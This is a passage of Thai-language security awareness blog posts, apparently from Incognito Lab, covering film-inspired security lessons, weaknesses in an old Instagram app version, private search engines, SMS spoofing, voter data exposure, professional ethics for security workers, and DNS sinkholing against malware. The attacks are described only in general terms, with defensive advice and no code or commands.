- มีการพูดถึงประโยค "Security through obscurity" ซึ่งเป็นประโยคที่สำคัญในวงการ Security มาก มีความหมายถึง การที่ไว้วางใจว่าระบบจะปลอดภัยเนื่องจากผู้สร้างระบบปกปิด Design ของระบบเป็นความลับและมั่นใจว่าจะไม่มีใครหาช่องโหว่ของระบบพบ ยกตัวอย่างในเชิงของ Cryptography เช่น การเลือกใช้ Encryption/Decryption Algorithm นั้นควรจะเลือก Algorithm ที่ได้รับการพิสูจน์จากนัก Cryptography ทั้งหลายแล้วว่ามีความปลอดภัยสูง ไม่ใช่เลือก Algorithm ที่คิดค้นเอง หรือ Algorithm ที่ไม่เป็นที่รู้จักมากนักมาใช้ เนื่องจาก Algorithm นั้นอาจมีช่องโหว่ แต่ไม่มีคนมานั่งวิเคราะห์ ก็เลยไม่มีการเผยแพร่ช่องโหว่ออกมา ดังนั้นสำหรับในวงการ Security แล้วจะไม่ค่อยชอบระบบที่มีความปลอดภัยแบบ Security through obscurity เท่าไรนัก
- เมื่อรู้ตัวว่าถูก Hack เข้าระบบ Q ก็ได้รีบถอดสาย LAN ออกจาก Notebook ทันที ซึ่งเป็นขั้นตอน Containment สำหรับ Incident Response เพื่อจำกัดความเสียหายที่เกิดขึ้น จากตัวอย่างในหนัง หมายถึง ป้องกันไม่ให้ระบบถูก Hack เพิ่มนั่นเอง
อีกฉากที่น่าสนใจคือ ฉากที่ Bond ไล่ล่า Silva ในสถานีรถไฟฟ้าใต้ดินนั่นเอง
ตาม definition ของ Homeland Security นั้น [Critical Structure Security](http://www.dhs.gov/critical-infrastructure-sectors){rel=""nofollow""} ได้มีการแบ่งออกเป็น 18 ส่วน ซึ่งหนึ่งในนั้นคึอ Transportation System
Transportation System ยกตัวอย่างแค่รถไฟฟ้าใต้ดิน สำหรับเมืองใหญ่ ๆ นั้น ถือเป็นหัวใจในการเดินทาง หากมีการหยุดชะงักไป หรือมองว่า Availability เสียไปจะส่งผลกระทบขยายวงกว้างแค่ไหน นอกจากความเสียหายทางด้านวัตถุที่เกิดขึ้นแล้ว สิ่งที่สำคัญมากกว่าคือ ชีวิต ที่จะต้องปกป้องรักษาไว้ หากใครมีโอกาสได้สอบ CISSP, CISM แล้วจะเห็นว่าในเรื่องของ Business Continuity Management นั้นก็ได้ให้ความสำคัญเรื่องความปลอดภัยที่เกี่ยวกับชีวิตไว้สูงสุด
และสุดท้ายฉากที่ประทับใจผมมากที่สุดคือฉากที่ M ขึ้นศาล
ประโยคเด็ดเลย "I suppose I see a different world than you do" ซึ่งผมเห็นด้วยมากกับประโยคนี้ เพราะแม้แต่คนรอบ ๆ ตัวผมยังมีคนที่ไม่เห็นความสำคัญของเรื่อง Security อยู่มาก
---
สุดท้ายนี้ ในปี 2013 ทาง Incognito Lab ของเราจะมุ่งมั่นผลักดันและสร้างความรู้ความสามารถให้กับบุคคลากรของประเทศให้มีความรู้ความเข้าใจเกี่ยวกับ Information Security ให้มากขึ้น ให้สมกับ mission ของเรา "We secure the nation"
# Instagram Insecurity
หลังจากที่เราได้เคยแนะนำขั้นตอนการ setup ค่าความเป็นส่วนตัวบน Facebook อย่างไรให้ปลอดภัยไปแล้ว โอกาสนี้ Incognito Lab จึงอยากแจ้งเตือนและบอกกล่าวถึงภัยและการป้องกัน Social Network อีกเจ้าหนึ่งที่ได้รับความนิยมไม่แพ้กันนั่นก็คือ Instagram
Instagram เป็น Social Network ที่มีผู้ใช้ในประเทศไทยอยู่เป็นจำนวนมากถึงขนาดที่ว่า [Top 15 ของสถานที่ที่ถูกถ่ายภาพลง Instagram มีอยู่ 3 ที่ที่อยู่ในประเทศไทยคือท่าอากาศสุวรรณภูมิ,Siam Paragon และ Terminal 21](https://blog.instagram.com/post/14528359286/year-in-review-top-15-places-to-take-an-instagram?a7cf3358){rel=""nofollow""} ซึ่งทางเราเห็นว่าควรจะเผยแพร่บทความชิ้นนี้กับผู้ใช้งานคนไทยเป็นอย่างยิ่ง
## ความไม่ปลอดภัยของ Instagram
1. Instagram เสี่ยงต่อการถูกขโมย Account หากใช้งานอยู่บนเครือข่ายที่ไม่มีความปลอดภัย ขณะที่ทำการเขียนบทความชิ้นนี้ผมได้ทดสอบกับ Instagram version ล่าสุดคือ 3.4.2 บน non-jail-broken iPhone ที่ใช้ iOS 6.1 โดยทำการ connect เข้ากับ Wireless Network ผลที่ได้พบว่า Instagram บนเครื่อง iPhone ทำการแลกเปลี่ยนข้อมูลกับ Server ของทาง Instagram โดยไม่มีการเข้ารหัสเลย ยกเว้น Login Page ซึ่งเป็นอะไรที่แย่มากเนื่องจากวิธีการขโมย Account ไม่จำเป็นต้องรู้ Password
จากรูป ผมทำการดักจับข้อมูลของ Instagram และส่งข้อมูลไปบอก Server ว่าต้องการเปลี่ยน email ที่ผูกกับ Account อันนี้เป็น email อื่น (สังเกตตำแหน่งที่ทำการ Censor)ผลที่ได้ก็คือ Account ที่ใช้งานจะถูกเปลี่ยน email ที่ผูกไว้ หาก email ถูกเปลี่ยนเป็น email ของ Hacker เค้าก็ไม่จำเป็นต้องรู้ Password ของเราครับ เนื่องจากสามารถสั่ง Reset Password ได้ จากนั้น Instagram Account ก็จะถูกยึดโดยไม่ต้องใช้วิธีการอะไรที่ซับซ้อน[ช่องโหว่ดังกล่าวถูกรายงานตั้งแต่ปลายปีที่แล้วโดยบริษัทด้าน Security หมายเลยหนึ่งของ Denmark ชื่อ Secunia](https://secunia.com/advisories/51270/){rel=""nofollow""}แต่แม้จนกระทั่งตอนนี้ทาง Instagram ก็ยังไม่ได้แก้ไขอะไร
ปัจจุบัน version ที่ทำการทดลองใช้งานคือ instagram v4.0.1 ยังพบช่องโหว่ที่กล่าวถึงในบทความนี้เช่นกันครับ — 29/June/2013
> อย่าใช้ Instagram ผ่าน Wireless Network ที่ไม่รู้จัก หรือไม่แน่ใจในความปลอดภัย และถ้าไม่จำเป็นอย่าเปิด Wi-Fi ทิ้งไว้
2. โดยปกติ Instagram จะทำการ Public รูปที่ Upload โดยอัตโนมัติ ถ้าหากไม่มีการ Setting ที่เหมาะสม(Photos are Private เป็น OFF) คนที่ไม่ได้เป็น Follower ก็สามารถเข้ามาดูรูปได้ อยากจะแนะนำว่าถ้าไม่ได้เป็น Celeb หรือดารา ก็ควรจะไปปิดค่า Public นี้ครับ (แต่ทาง Incognito Lab ขอเชียร์นะครับ ถ้าผู้อ่านเป็น Celeb หรือดาราก็ควรจะ Set ค่านี้ด้วยจะได้บังคับ Follower และโชว์ความรู้เรื่อง IT Security Awareness) เรามาดูตัวอย่างกัน
จากรูป Instagram ของ Kimberley(ผมชอบเป็นการส่วนตัวครับ ^^) ไม่ได้ทำการ Set เป็น Private คนที่ไม่ได้ Login หรือไม่ได้เป็น Follower ก็เข้าไปดูรูปได้ ผมทำการ Access ผ่าน Web Browser ครับโดยผู้อ่านสามารถทดสอบได้โดยพิมพ์ [http://instagram.com/USER\\\_ID](http://instagram.com/USER%5C_ID){rel=""nofollow""} โดยไม่ต้องใช้โปรแกรม Instagram
แต่ถ้าเป็นกรณีนี้ Instagram ที่ set เป็น Private จำเป็นต้องเป็น Follower ก่อนจีงจะสามารถดูรูปได้
> ป้องกัน: ให้ Set ค่า Photos Are Private เป็น ON ข้อดีของการ Setting นี้ก็คือหากทำการ Search ก็จะไม่พบรูปของเราด้วยถ้าคน Search ไม่ยอมเป็น Follower
3. Page Register ของ Instagram ทำการแสดงค่า Password ที่พิมพ์เป็น Plaintext ประเด็นนี้ผมไม่เข้าใจว่าทำไม Instagram ถึงพลาดไป ตอน Register ถ้าหากทำบน Mobile Phone ก็ระวังคนแอบดูกันหน่อยนะครับ
> ป้องกัน: ทำได้แค่หวังให้ Instragram แก้ไข
4. การ Share ภาพไปยัง Social Network อื่น ค่าความปลอดภัยจะแปรผันตาม Socail Network นั้น ยกตัวอย่างเช่นรูปใน Instagram ทำการ Set ค่า Private ไว้เรียบร้อยดี แต่ถ้าผู้ใช้ทำการ Share ภาพใดภาพหนึ่งไปยัง Facebook ที่ทำการ Set ค่า Privacy ไม่ดีเลย ค่าความปลอดภัยของ Instragram ก็จะไม่ช่วยอะไร
> ป้องกัน: จากรูปก่อนทำการ Enable Instagram บน Facebook ให้ทำการ Set ค่าให้ดีว่าอนุญาตให้ใครที่สามารถดูได้บ้าง ไม่ควรเปิดแบบ Public
และทำการ Set ค่า Security หรือ Privacy ของ Social Network ปลายทางนั้นๆให้ดี เช่น Facebook
5. ข้อมูล Backup สามารถทำให้ Access Instagram Account ได้ :br
เนื่องจากมันเก็บค่าที่เรียกว่า Cookie ที่ Server จะใช้เป็น Identity ในการยืนยันตัวตน จากรูปด้านล่างค่า Cookie ถูกเก็บอยู่ใน Backup ของ iPhone ที่ไม่มีการเข้ารหัส แต่เก็บอยู่ในรูปของ Binary Format แสดงเป็นเลขฐานสอง ถ้าหากตกอยู่ในมือ Hacker รับรองได้ว่าถูกขโมย Account อย่างแน่นอน
> ป้องกัน: อย่าทำ iPhone หาย, อย่า jailbreak เครื่อง และทำการเข้ารหัสข้อมูลที่ Backup ไว้ด้วยตามรูปให้ืำทำการเลือก Encrypt iPhone Backup
น่าตกใจเป็นอย่างยิ่งที่ Social Network ระดับโลกอย่าง Instagram จะมีช่องโหว่ที่ผู้ใช้งานควรระมัดระวังอยู่หลายจุด คงต้องรอดูเวลาว่า Facebook ซึ่งทำการ Acquire Instagram ไปแล้วจะปรับปรุงให้ดีขึ้นมากน้อยอย่างไรครับ
# Be Anonymous — Search Privately
ผมมั่นใจว่าทุกท่านน่าจะเคยใช้งาน Search Engine เพื่อค้นหาข้อมูลที่เราสนใจไม่ว่าจะเพื่อการทำงานหรือว่าความสนใจส่วนตัวและ Search Engine ที่นิยมกันก็เห็นจะไม่พ้นพวก Google หรือ Bing ถึงแม้ว่า Search Engine เหล่านี้จะให้ผู้ใช้งานได้ใช้งานกันแบบฟรี ๆ แต่จริง ๆ แล้ว Search Engine พวกนี้มีการจับตาและติดตามการ Search ของผู้ใช้งานตลอดเวลาที่ทำการค้นหา และข้อมูลที่ได้จากการ Search ก็จะถูกเก็บรวบรวมเอาไปวิเคราะห์ ข้อมูลที่เกี่ยวกับตัวเรา,ความสนใจของเรา, Web Activity ของเราก็จะถูกเอาไปขาย พูดให้ดูหรู ๆ ก็คือเอาไปใช้ในงานด้าน Marketing หรือ Advertisement เพื่อจะได้ Generate รายได้แม้จะเป็นบริการที่เปิดให้ใช้งานฟรี
ปัญหาของเราก็คือทุกครั้งที่เราทำการค้นหาข้อมูลพวก Keyword ที่เราใช้, IP Address, Application ที่เราใช้อยู่และข้อมูลที่ Cookie ที่ Search Engine ทิ้งไว้ที่เครื่องของเราเพื่อทำการ Track Activity ของเราก็จะถูกส่งไปหา Search Engine ด้วย ทีนี้เราจะแก้ไขหรือบังคับไม่ให้มีการส่งข้อมูลพวกนี้ได้หรือไม่ คำตอบคือไม่ได้ครับ เราต้องเลิกใช้จึงจะแก้ปัญหานี้ได้ แต่วิธีนี้เป็นคำตอบที่ยากที่จะเป็นไปได้ในปัจจุบัน
**Incognito Lab ขอแนะนำให้ผู้ใช้งานได้ลองใช้ Search Engine ที่มีจุดแข็งเรื่อง Privacy โดยจะไม่มีการทำการเก็บข้อมูลการ Search จากฝั่งผู้ใช้งานเลย**
1. [ixquick](https://startpage.com/){rel=""nofollow""}
มีผลการค้นหาที่ดี และ Privacy Policy ที่น่าใช้งานมาก :br
หากสงสัยว่า Privacy Policy ของ ixquick เป็นอย่างไรให้ไปดูได้ที่นี่ [ixquick Privacy Policy](https://startpage.com/eng/protect-privacy.html){rel=""nofollow""} เลยครับ
2. [DuckDuckGo](https://duckduckgo.com/){rel=""nofollow""}:br
นอกเหนือจากเรื่อง Privacy แล้ว DuckDuckGo ยังช่วยในการ Forward คำค้นหาไปยัง Target Web ได้อีกครับ รายละเอียดแนะนำให้ดูได้จาก [About DuckDuckGo](https://duckduckgo.com/about-video.htm){rel=""nofollow""}
---
**การ Search อย่างปลอดภัยไม่ได้มีใช้งานเฉพาะผู้ใช้งานทั่วไปเท่านั้น แม้แต่ Security Professionals หรือพวก Hackers ก็คำนึงถึงเรื่อง Privacy จากการ Search เป็นอย่างยิ่ง**
# SMS Spoofing
ช่วงนี้ถือว่าเป็นกระแสมากทีเดียว หลังจากมีผู้ใช้งานทั่วไปได้รับ SMS จากเบอร์โทร 02-777-777 ซึ่งเป็นเบอร์ Call Center ของธนาคารไทยพาณิชย์ (SCB) และทางธนาคารก็ได้มีการแจ้งเตือนผ่านทาง SCB Thailand Fan Page แล้ว

ผู้ใช้งานควรจะต้องเพิ่มความระมัดระวังให้ดีนะครับ เพราะว่าวิธีการในการปลอม SMS นั้นค่อนข้างง่าย และเครื่องเหยื่อไม่จำเป็นต้องติดตั้งโปรแกรมพิเศษใดๆเพิ่มเติม ขอแค่มีเบอร์เครื่องเหยื่อก็พอแล้วครับ :br
Clip ด้านล่างทางทีมงาน Incognito Lab ได้ทำ Proof-of-Concept ให้ดูว่าสามารถทำ SMS spoofing ได้โดยสังเกตว่าชื่อที่เป็น Sender นั้นไม่ได้ถูก save อยู่ใน list ของ contacts
1 ในวิธีการทำ SMS Spoofing Service ที่ทำได้ง่ายมากคือทำผ่าน SMS Service Provider ซึ่งปัจจุบันมี Service Provider เหล่านี้อยู่เยอะมาก และแต่ละ Provider ก็ให้ความสำคัญในเรื่อง Security ไม่เท่ากัน ทำให้อาจจะมีบาง Provider ที่มีช่องโหว่อยู่บ้าง (ทางทีม Incognito Lab ขอไม่เปิดเผยรายละเอียดเกี่ยวกับเรื่องนี้มากนะครับ เพราะว่าอาจจะทำให้เกิดการนำไปใช้ผิดๆมากขึ้น)
วิธีการป้องกัน SMS Spoofing นั้นแทบจะทำไม่ได้เลย เพราะว่าเป็นปัญหาระดับ Infrastructure
แต่อย่างไรก็ตามหากผู้ใช้งานมี Awareness เกี่ยวกับเรื่อง Security ก็จะช่วยลดโอกาสให้ไม่ตกเป็นเหยื่อของเหล่ามิจฉาชีพได้นะครับ
# Bangkok Governor Election
## วันนี้เป็นวันเลือกตั้งผู้ว่า กทม. 2013
สิ่งที่อยากจะแชร์ในวันนี้คือ Security ในเขตเลือกตั้งครับ ผมล่ะแปลกใจว่าหน่วยงานรัฐที่เกี่ยวข้องละเลยเรื่องพวกนี้ได้อย่างไร หรือคิดว่าเป็นเรื่องปกติ ทำกันมานานไม่เห็นมีปัญหาหรืออย่างไร
1. บอร์ดเลือกตั้ง มีข้อมูล Privacy ที่สำคัญของประชาชนในเขต โดยข้อมูลที่ถูกเปิดเผยบนบอร์ดนั้นได้แก่ เลขที่บ้าน ชื่อ-นามสกุล ลำดับที่ เลขที่บัตรประชาชน วันเกิด โดยปกติก่อนการเลือกตั้งจะมีจดหมายมาแจ้งที่บ้านว่าบุคคลในบ้านผู้ใดมีสิทธิ์ไปเลือกตั้งบ้าง และแต่ละคนอยู่ลำดับที่เท่าไร เพื่อไปแจ้งที่ศูนย์เลือกตั้งเพื่อใช้สิทธิ์
{width="100%"}
ผมเห็นว่าบอร์ดที่ติดอยู่นั้นหากจะมี ก็มีได้ แต่เรื่องข้อมูลต่าง ๆ ควรจะต้องมีการ Filter ออกบ้าง เพราะคงจะไม่มีคนไปนั่งไล่วันเกิด หรือ เลขบัตรประชาชน เพื่อหาลำดับที่ในการใช้สิทธิ์หรอกครับ
ข้อมูลเหล่านี้หากแยกกันอยู่โดด ๆ คงไม่สำคัญอะไร แต่พอนำมารวมกันเราก็ควรจะให้ความสำคัญเพิ่มขึ้นครับ หากมีคนสามารถนำข้อมูลเหล่านี้ออกไปได้ หรือ หากมีการควบคุมหรือทำลายข้อมูลไม่ถูกต้อง ก็น่ากลัวนะครับ ข้อมูลเหล่านี้อาจจะถูกนำไปใช้ในทางที่ไม่ดี เช่น Identity Theft ก็ได้ครับ หรือหากโจรร้ายดูข้อมูลเหล่านี้ก็จะทราบว่าบ้านแต่ละหลังมีคนอยู่จำนวนเท่าไร
2. ผู้ที่ไปต่อแถวใช้สิทธิ์ โดยส่วนใหญ่มักจะถือบัตรประชาชนไว้ในมือ บางทีก็เอามือไพล่หลัง ซึ่งอาจจะถูกผู้ที่อยู่ด้านหลังนำข้อมูลไปใช้ได้นะครับ
### สิ่งที่ควรจะทำเป็นอย่างน้อย
1. Data Filtering – การตัดข้อมูลบางอย่างออก เพื่อปกป้องไม่ให้ข้อมูลสำคัญรั่วไหล เช่น บอร์ดแจ้งรายละเอียดผู้มีสิทธิ์ควรจะต้องมีการพิจารณาให้เห็นเฉพาะข้อมูลที่จำเป็นจริง ๆ เท่านั้น
2. Data Classification & Data Handling – ตาม Standard ISO27001 เรื่องการจัดชั้นความลับถือเป็นเรื่องสำคัญมาก ๆ โดยเอกสารหรือข้อมูลต่าง ๆ ควรจะมีการจัดชั้นความลับให้เหมาะสมกับความสำคัญของเอกสาร โดยแต่ละชั้นความลับก็ควรจะมีวิธีการเข้าถึง, ควบคุม และทำลาย อย่างเหมาะสม หากไม่มีการจัดการที่ดี วันนึงข้างหน้าเราอาจจะเห็นกระดาษที่มีข้อมูลสำคัญเหล่านี้ ถูกนำไปถูกพับถุงขายก็ได้ครับ
# Security Professional’s Etiquette
สำหรับอาชีพนักเจาะระบบหรือสายงานอาชีพด้าน Information Security ผมคิดว่าเรื่อง Etiquette(จรรยาบรรณ) และ Ethics(จริยธรรม) เป็นเรื่องใหญ่และควรจะเป็นเรื่องที่คนที่อยู่ในสายงาน หรืออยากจะเข้ามาทำงานในสายอาชีพนี้ควรให้ความสำคัญ(แน่นอนว่าสำหรับอาชีพอื่นๆแล้วก็มีความสำคัญไม่แพ้กันเช่นเดียวกัน) :br
นอกเหนือจากความรู้และความสามารถที่ต้องฝึกฝนพัฒนาตลอดเวลาแล้ว การที่จะได้ชื่อว่าเป็นมืออาชีพ(Professionals) อย่างแท้จริงนั้นต้องไม่ละเลยเรื่อง Etiquette และ Ethics
ผมเชื่อมั่นว่าถ้าหากผู้อ่านได้เรียนกับ Mentor ชั้นยอด(เหมือนกับที่พวกเราได้สัมผัส) ท่านจะต้องสอนเรื่องพวกนี้อย่างแน่นอน Mentor ชั้นยอดนอกเหนือไปจากความสามารถในการถ่ายทอดความรู้ที่ดีแล้ว ยังสร้างแรงบันดาลใจและปลูกฝังทรรศนะคติที่ดีให้กับผู้เรียนด้วย Concepts ของสิ่งต่างๆที่กำลังจะกล่าวถึงต่อไปนี้ผมอยากจะแบ่งปันและอยากจะให้ทุกคนที่อยู่ในสาย Information Security ได้รู้จักกัน หากปราศจากซึ่ง Etiquette และ Ethics คุณจะไม่มีวันได้ชื่อว่าเป็น Professional
1. Plagiarism: ความหมายคือการเลียนแบบ การขโมย ความคิด คำพูด หรือผลงานของคนอื่นโดยที่ไม่ยอมบ่งบอกว่ามาจากใคร ในต่างประเทศเรื่องนี้จัดเป็นเรื่องที่ Serious เป็นอย่างยิ่ง เนื่องจากมันเป็นการทำลาย Academic Integrity ทำลายความคิด ผลงานของคนอื่น การพัฒนาหรือความก้าวหน้าในวิทยาการย่อมมีปัญหาอย่างแน่นอน ยิ่งถ้าเป็น Thesis ทุกๆประโยคต้องมีที่มาถ้าเป็นของคนอื่น ต้อง Acknowledge(ยอมรับ) ต้อง Refer หรือให้ Credit กับผลงานที่เรานำมาใช้อ้างอิง ถ้าเป็นคำพูดหรือชิ้นงานของเราเองต้องมีที่มาและมีองค์ประกอบสนับสนุน ถ้าผู้อ่านอยู่ในวงการน่าจะเคยเห็น Case นี้ :br[Security Expert ชื่อดังทำ Plagiarism](https://strategicsec.com/2013/02/12/the-final-statement-on-this-issue/){rel=""nofollow""}ปรากฎว่าถูกด่าเละ แม้แต่ผมยังหมดศรัทธา
2. Trust และ Trustworthy: Concept นี้อธิบายแบบยกตัวอย่างจะเข้าใจได้ง่ายที่สุด สมมติว่าคุณเป็นเจ้าหน้าที่รัฐทำงานให้กับหน่วยงานความมั่นคง โดย Default แล้วคุณจะเป็นคนที่ประชาชน Trust(เชื่อใจ) ได้ แต่ถ้าคุณนำความลับขององค์กรไปให้กับฝ่ายตรงข้าม เมื่อนั้นคุณจะไม่ใช่คนที่ Trustworthy(ไว้ใจได้และมีความรับผิดชอบ ไม่ทรยศแน่นอน) การที่จะได้ชื่อว่า Professional คุณต้องมีคุณสมบัติทั้ง Trust และ Trustworthy ครบถ้วน
3. Confidentiality: การทำงานในสาย Information Security คุณต้องพบกับระดับชั้นความลับของข้อมูลมากมายไล่ไปตั้งแต่ top secret,secret,confidential,restricted, และ unclassified ถามว่าข้อมูลในแต่ละระดับสำคัญหรือไม่ ขอตอบเลยว่าสำคัญครับ ข้อมูลระดับชั้นที่ไม่สำคัญรวมๆกันอาจคาดเดาหรือบ่งบอกข้อมูลสำคัญบางอย่างก็เป็นได้ ดังนั้นจงอย่าละเลย ลองคิดดูนะครับถ้าเราเป็นเจ้าของบริษัท แล้วมีใครสักคนนำเรื่องที่เป็นความลับของบริษัทเราไปบอกให้คนอื่นฟังจะเป็นยังไง สำหรับสาย Penetration Tester บางครั้งผมจะตกใจและรู้สึกไม่ค่อยดี ถ้าได้ยินว่าบริษัท X หรือ ระบบ Y มีช่องโหว่อย่างนั้นอย่างนี้จากคำพูดของคนในวงการเดียวกัน
4. Authority: คุณมีสิทธิ์ที่จะทำในสิ่งที่คุณอยากจะทำหรือไม่ เช่นไปโจมตีระบบของคนอื่น หรือ Website ที่เราไม่ได้เป็นเจ้าของ สิ่งเหล่านี้มีผลกระทบมากมายที่เราอาจจะไม่รู้ก็ได้ เช่นผู้ดูแลระบบถูกตำหนิหรือโดนไล่ออก, Security Engineer ต้องมาวิเคราะห์ว่าเกิดอะไรขึ้น หรือบางทีระบบอาจจะทำงานได้ช้าลง หรือใช้การไม่ได้ ผลของสิ่งที่เราจะทำคุณต้องคิดเสมอว่า คุณมี Authority หรือไม่ ถ้าไม่มีอย่าทำ แม้ว่าคุณอาจจะมองว่า Hacktivist บางกลุ่มยังทำได้เลยเพื่อสื่ออะไรบางอย่างออกไป แต่จงระลึกไว้เถอะครับ มันมีผลในทางที่ไม่ดีกับผู้อื่นแน่นอน จงใช้ความรู้ความสามารถในทางที่ถูก
5. Code of ethics: หรือแบบประมวลจริยธรรมซึ่งแต่ละสาขาวิชาก็จะมีเป็นของตัวเอง โดยส่วนตัวผมชอบ (ISC)² Code Of Ethics Canons ซึ่งกล่าวถึงลำดับความสำคัญของสิ่งที่ควรคำนึงถึงในสายงาน Information Security ซึ่งมีดังนี้(ข้อที่มาก่อนต้องให้ความสำคัญมากกว่าข้อที่มาทีหลัง)
6. Protect society, the common good, necessary public trust and confidence, and the infrastructure.
7. Act honorably, honestly, justly, responsibly, and legally.
8. Provide diligent and competent service to principals.
9. Advance and protect the profession.
พวกเราหวังว่าบทความนี้จะช่วยให้ผู้อ่านหรือคนที่สนใจในสายงานด้าน Information Security ได้เป็นอย่างที่มืออาชีพควรจะเป็น สำหรับพวกเราแล้วคำว่า "Professional" เป็นคำระดับโลก ต้องเก่ง มีความสามารถครบถ้วน และยังต้องนำความรู้ไปใช้ให้เกิดประโยชน์กับสังคม"

> The country needs a few good men.
REF: ภาพจากภาพยนตร์เรื่อง A Few Good Men
# Malware Fighting Technique — DNS Sinkhole
1 ในเทคนิคการป้องกัน malware ที่ implement ได้ง่ายและมีประสิทธิผลสูงสำหรับงาน Incident Handling ก็คือเทคนิคที่เรียกว่า DNS Sinkhole
### Infection Pattern ของ Malware
โดยส่วนใหญ่แล้วการโจมตีหรือการแพร่ของ malware ไปสู่ endpoint หรือผู้ใช้งานนั้นมักจะเกิดขึ้น 2 steps
1. ขั้นแรกเป็นวิธีการที่เรียกว่า Drive by Downloads: วิธีการนี้นิยมโจมตีผ่าน Browser บนเครื่องของผู้ใช้งาน เช่น Users ไป visit เว็บไซด์หนึ่งซึ่งหน้า page ของเว็บไซด์นั้นมีการเชื่อมต่อไปสู่ Landing page\* ของ malware ทำให้ Browser ของผู้ใช้ติดต่อกับ Infected Page ของ malware นั้น ๆ โดยทางเทคนิคแล้วถ้าเกิดรูปแบบนี้ขึ้นมาเครื่องผู้ใช้งานมักจะถูกโจมตีผ่าน Exploitation Kits ซึ่งถ้าหากมี Environment ที่ไม่ดีพอเช่น antivirus ไม่สมบูรณ์, OS ไม่มีการ Update Patch และ Application ของเครื่องขาดการ Update มีช่องโหว่อยู่ เครื่องก็จะถูก Compromised

จาก Graph ด้านบนสังเกตว่า Page ของหน้าที่เป็น Domain .go.th นั้นมี Link ไปหลาย ๆ Page ที่มี Domain .cc ซึ่งเป็นของหมู่เกาะ Cocos และ Page เหล่านี้พบว่าเป็น Landing Page ของ Exploitation Kit ที่ชื่อว่า Redkit
- Landing Page คือ Page ที่ทำการเปิดการเชื่อมต่อหรือมีการ Redirect ไปยัง Page ที่มี Payload อยู่เพื่อทำการ Exploit เครื่องของเหยื่อที่หลงเข้ามา จะมี Logic เช็คว่าเครื่องนั้น ๆ เหมาะสมกับการถูกโจมตีหรือไม่ด้วย ซึ่งเงื่อนไขนั้นขึ้นอยู่กับจุดประสงค์ของการโจมตี
- .cc เป็น Top Level Country Code ที่ CyberCrime ชอบใช้ อาจจะเป็นเพราะว่าประเทศนี้กฎระเบียบด้าน Security อ่อนและ .cc มันเท่ห์แทนคำว่า Command and Control
- Redkit เป็นหนึ่งใน Exploitation Kits ตัวแสบที่โจมตี Users ทั่วโลกอยู่ ณ เวลานี้ และมีอีกตัวชื่อว่า Blackhole หน้าเว็บภายในประเทศไทยหลายแหล่งมีไอ้เจ้านี่ฝังอยู่เยอะเลยครับ
2. ขั้นตอนถัดมาเครื่องที่ Infected ทำการติดต่อกับ C2 (Command\&Control Server) เพื่อ Maintain Connection: เครื่องที่ทำการติดต่อกับ C2 อาจจะเกิดขึ้นได้หลายกรณีเช่น เป็น zombie ใน BotNet, ติดต่อกับ C2 เพื่อ update configuration, ถูก control จาก Master ผ่าน RAT (Remote Access Trojan), มี Loader (Malware ที่ทำหน้าที่ไป download Malware หรือ Executable file อื่น ๆ มา install ที่เครื่องเพิ่มเติม) อยู่ในเครื่อง และอื่น ๆ อีกมากขึ้นอยู่กับเทคนิคของ Malware และ Environment นั้น ๆ
จากรูปแบบดังกล่าว Malware มักจะทำการติดต่อโดยอาศัยการอ้างอิงชื่อผ่าน Authoritative DNS (DNS ที่ทำการ set อยู่ที่เครื่องนั่นแหละ) ของเครื่องที่ถูกโจมตี พวกแก๊งค์ CyberCrime มักจะจด Domain อยู่เป็นจำนวนมากและหากเครื่อง Controller ถูกปิดหรือถูก Banned จาก Network พวกเค้าก็แค่ไปเปลี่ยน IP ใหม่เท่านั้น Domain Name ยังคงใช้ชื่อแบบเดิมได้ หรือตั้ง Subdomain Name ใหม่ ผลก็คือเครื่องที่ Infected ก็ยังคงมีการเชื่อมต่อกับ C2 ได้เหมือนเดิม
## เทคนิค DNS Sinkhole
Concept ของ DNS Sinkhole ก็คือป้องกันการเชื่อมต่อระหว่างเครื่องที่ Infected และ C2 หรือ Malicious Domain ด้วยการ Blind พวกมันผ่าน Name Resolving ของ DNS
Infrastructure แบบที่ไม่มี DNS Sinkhole

Infrastructure แบบนี้การป้องกัน Malware ขึ้นอยู่ว่า Policy ของ Firewall เป็นอย่างไร หรือ IPS เห็นหรือไม่ ซึ่งส่วนใหญ่แล้วไม่เพียงพอและ Maintain ยาก บางองค์กรอาจจะมีการติดตั้ง Antivirus Gateway เพิ่มขึ้นมาด้วยก็ดีขึ้นครับ แต่ก็ต้อง Tradeoff กับเรื่อง Performance :br
Infrastructure แบบมี DNS Sinkhole

Malicious Domain จะถูก DNS Resolve ไปที่เครื่อง Sinkhole ซึ่งมีการ Run อะไรบางอย่างอยู่แล้วแต่เทคนิค เช่น Run [socat](https://stuff.mit.edu/afs/sipb/machine/penguin-lust/src/socat-1.7.1.2/EXAMPLES){rel=""nofollow""}, packet analyser, proxy, หรือ honeypot ดักเอาไว้ หากมีการเชื่อมต่อก็ให้ทำการ alert ว่ามาจากเครื่องไหน และติดต่อไปที่ Port อะไร แค่นี้เราก็จะ Containment เครื่องที่ Infected ได้ และทำให้กระบวนการ Incident Handling ของ Admin เร็วขึ้น
## ข้อจำกัดของ DNS Sinkhole
1. ต้องมีการ update Malicious Domain สม่ำเสมอ ซึ่งไม่ได้ยากมากครับ เนื่องจากมีคนทำให้อยู่แล้วเช่น
- [Malware Threat Center](http://mtc.sri.com/live%5Fdata/malware%5Fdns/ "http://mtc.sri.com/live_data/malware_dns/"){rel=""nofollow""}
- [malware-domains.com](http://www.malware-domains.com/ "http://www.malware-domains.com/"){rel=""nofollow""}
- [Zeus Blocklist](https://zeustracker.abuse.ch/blocklist.php?download=domainblocklist "https://zeustracker.abuse.ch/blocklist.php"){rel=""nofollow""}
2. ป้องกัน Malware ที่สามารถแก้ไข Host file บนเครื่องที่ Infected ไม่ได้ (ส่วนใหญ่แล้วการโจมตีด้วย Exploitation Kit ใน Stage เบื้องต้น Malware มักจะ Connect ไปภายนอกเพื่อ Update หรือ Download EXE เพิ่มเติมมา Run ก่อนที่มันจะทำอย่างอื่นครับ DNS Sinkhole จึงค่อนข้างใช้ได้ผล โดยส่วนตัวผมไม่ค่อยเจอ Malware ที่แอบเปลี่ยน Host File เท่าไรแล้วครับเนื่องจากมันเปิดเผยมากเกินไป IOC-Indicator of Compromise โจ๋งครึ่มมาก)
3. Firewall ที่ใช้ในองค์กรต้องบังคับไม่ให้ DNS Traffic ของเครื่อง Clients ไป Resolve Name ที่อื่น
## Homeuse ทำ DNS Sinkhole ได้มั้ย?
คำตอบคือไม่ต้องทำครับ มีบริการดี ๆ และฟรีอยู่ลองใช้ได้เลยเช่น
